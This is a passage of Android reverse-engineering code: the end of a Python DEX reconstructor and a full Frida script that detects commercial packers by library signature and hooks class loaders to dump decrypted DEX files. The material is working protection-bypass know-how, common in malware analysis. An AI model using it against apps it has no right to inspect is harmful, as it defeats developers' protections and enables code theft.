parser = argparse.ArgumentParser(description="DEX Reconstructor")
parser.add_argument("input", help="Memory dump file or directory")
parser.add_argument("-o", "--output", default="./reconstructed", help="Output directory")
parser.add_argument("--merge", action="store_true", help="Merge into APK")
args = parser.parse_args()
reconstructor = DEXReconstructor(args.output)
input_path = Path(args.input)
if input_path.is_file():
# Single memory dump file
data = input_path.read_bytes()
dex_files = reconstructor.reconstruct_from_memory(data)
elif input_path.is_dir():
# Directory of memory dumps
dex_files = []
for dump_file in input_path.glob("*.dump"):
data = dump_file.read_bytes()
dex_files.extend(reconstructor.reconstruct_from_memory(data, dump_file.stem))
else:
print(f"Error: {input_path} not found")
sys.exit(1)
if args.merge and dex_files:
reconstructor.merge_dex_files(dex_files)
// generic_unpacker.js - Detect and unpack any packer
/*
Generic Packer Unpacker
=======================
This script detects and unpacks most common Android packers.
It works by:
1. Detecting packer signatures in native libraries
2. Hooking all ClassLoader variants
3. Dumping DEX files as they're loaded
4. Saving memory regions containing DEX magic
*/
var OUTPUT_DIR = "/sdcard/unpacked_dex/";
Java.perform(function() {
console.log("[*] Generic Packer Unpacker Started");
console.log("[*] Output: " + OUTPUT_DIR);
// Create output directory
var File = Java.use("java.io.File");
var outputDir = File.$new(OUTPUT_DIR);
outputDir.mkdirs();
// Detect packer from native libraries
function detectPacker() {
console.log("\n[*] Detecting packer...");
var ApplicationInfo = Java.use("android.content.pm.ApplicationInfo");
var context = Java.use("android.app.ActivityThread").currentApplication().getApplicationContext();
var appInfo = context.getApplicationInfo();
var nativeLibraryDir = appInfo.nativeLibraryDir;
console.log("[*] Library dir: " + nativeLibraryDir);
// Check for packer signatures
var packerSignatures = {
"360_jiagu": ["libjiagu.so", "libjiagu_"],
"bangcle": ["libsecexe.so", "libsecmain.so"],
"ijiami": ["libijiami.so"],
"tencent_legu": ["liblegen.so", "liblegu.so"],
"ali_protect": ["libmobisec.so", "libsgmain.so"],
"qihoo": ["lib360protect.so"],
"baidu": ["libbaidu.so", "libbdt.so"],
"netease": ["libnetease.so"],
"arxan": ["libAppProtection.so"]
};
var libDir = File.$new(nativeLibraryDir);
var files = libDir.listFiles();
var detectedPackers = [];
files.forEach(function(file) {
var name = file.getName();
for (var packer in packerSignatures) {
for (var i = 0; i < packerSignatures[packer].length; i++) {
if (name.indexOf(packerSignatures[packer][i]) !== -1) {
console.log("[+] Detected packer: " + packer + " (" + name + ")");
detectedPackers.push({
name: packer,
library: name
});
}
}
}
});
if (detectedPackers.length === 0) {
console.log("[-] No known packer detected (may be custom or unknown)");
}
return detectedPackers;
}
// Dump DEX file
function dumpDex(dexPath, label) {
console.log("[*] Dumping DEX: " + dexPath);
try {
var Files = Java.use("java.nio.file.Files");
var Paths = Java.use("java.nio.file.Paths");
var timestamp = Date.now();
var destPath = OUTPUT_DIR + label + "_" + timestamp + ".dex";
Files.copy(Paths.get(dexPath), Paths.get(destPath));
console.log("[+] Dumped: " + destPath);
return destPath;
} catch (e) {
console.log("[-] Dump failed: " + e);
return null;
}
}
// Hook all ClassLoader variants
function hookClassLoader() {
console.log("\n[*] Hooking ClassLoader variants...");
// DexClassLoader
try {
var DexClassLoader = Java.use("dalvik.system.DexClassLoader");
DexClassLoader.$init.overload('java.lang.String', 'java.lang.String', 'java.lang.String', 'java.lang.ClassLoader').implementation = function(dexPath, optimizedDirectory, librarySearchPath, parent) {
console.log("[DexClassLoader] Path: " + dexPath);
dumpDex(dexPath, "dexclassloader");
return this.$init(dexPath, optimizedDirectory, librarySearchPath, parent);
};
console.log("[+] DexClassLoader hooked");
} catch (e) {
console.log("[-] DexClassLoader hook failed: " + e);
}
// PathClassLoader
try {
var PathClassLoader = Java.use("dalvik.system.PathClassLoader");
PathClassLoader.$init.overload('java.lang.String', 'java.lang.ClassLoader').implementation = function(dexPath, parent) {
console.log("[PathClassLoader] Path: " + dexPath);
dumpDex(dexPath, "pathclassloader");
return this.$init(dexPath, parent);
};
console.log("[+] PathClassLoader hooked");
} catch (e) {
console.log("[-] PathClassLoader hook failed: " + e);
}
// InMemoryDexClassLoader
try {
var InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");
InMemoryDexClassLoader.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader').implementation = function(buffer, parent) {
console.log("[InMemoryDexClassLoader] Buffer size: " + buffer.remaining());
// Dump ByteBuffer
try {
var timestamp = Date.now();
var destPath = OUTPUT_DIR + "inmemory_" + timestamp + ".dex";
var bytes = Java.array('byte', buffer.array());
var FileOutputStream = Java.use("java.io.FileOutputStream");
var fos = FileOutputStream.$new(destPath);
fos.write(bytes);
fos.close();
console.log("[+] Dumped: " + destPath);
} catch (e) {
console.log("[-] ByteBuffer dump failed: " + e);
}
return this.$init(buffer, parent);
};
console.log("[+] InMemoryDexClassLoader hooked");
} catch (e) {
console.log("[-] InMemoryDexClassLoader hook failed: " + e);
}
// DexFile
try {
var DexFile = Java.use("dalvik.system.DexFile");
DexFile.loadDex.overload('java.lang.String').implementation = function(path) {
console.log("[DexFile] Loading: " + path);
dumpDex(path, "dexfile");
return this.loadDex(path);
};
console.log("[+] DexFile hooked");
} catch (e) {
console.log("[-] DexFile hook failed: " + e);
}
}
// Memory scan for DEX files
function scanMemoryForDex() {
console.log("\n[*] Scanning memory for DEX files...");
// Read /proc/self/maps
try {
var BufferedReader = Java.use("java.io.BufferedReader");
var FileReader = Java.use("java.io.FileReader");
var reader = BufferedReader.$new(FileReader.$new("/proc/self/maps"));
var line;
var count = 0;
while ((line = reader.readLine()) !== null) {
if (line.indexOf(".dex") !== -1 || line.indexOf("classes") !== -1) {
console.log("[MEM] " + line);
count++;
}
}
reader.close();
console.log("[*] Found " + count + " DEX memory regions");
} catch (e) {
console.log("[-] Memory scan failed: " + e);
}
}
// Run detection
var packers = detectPacker();
hookClassLoader();
// Delayed memory scan
setTimeout(function() {
scanMemoryForDex();
console.log("\n[*] Unpacker ready. DEX files will be dumped as they load.");
console.log("[*] Check " + OUTPUT_DIR + " for dumped files.");
console.log("[*] Run 'adb pull " + OUTPUT_DIR + " .' after app loads.");
}, 5000);
});
/*
Usage:
frida -U -f com.example.app -l generic_unpacker.js
After running:
1. Let the app fully load
2. Navigate all screens
3. Pull dumped files: adb pull /sdcard/unpacked_dex/ .
4. Analyze with JADX: jadx dumped_dex/classes.dex
*/